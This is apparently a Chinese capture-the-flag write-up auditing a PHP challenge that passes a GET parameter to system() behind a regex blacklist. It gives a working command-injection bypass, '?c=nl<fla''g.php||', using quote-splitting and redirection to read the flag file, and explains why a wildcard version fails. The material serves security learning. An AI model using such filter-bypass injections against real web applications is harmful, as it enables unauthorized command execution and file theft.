1. 代码审计

    1. <?php
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
    5. //这里增加了过滤%09 &符号
    6. {
    7. system($c." >/dev/null 2>&1");
    8. }
    9. }else{
    10. highlight_file(__FILE__);
    11. }
  2. 因为过滤了%09,就不能绕过空格了,这里用nl进行读取
    ```shell ?c=nl<fla’’g.php||

nl<flag?php||这样写不行,因为重定向不支持通配符,单引号分隔是Linux的一个特性,执行时会自动忽略单引号

```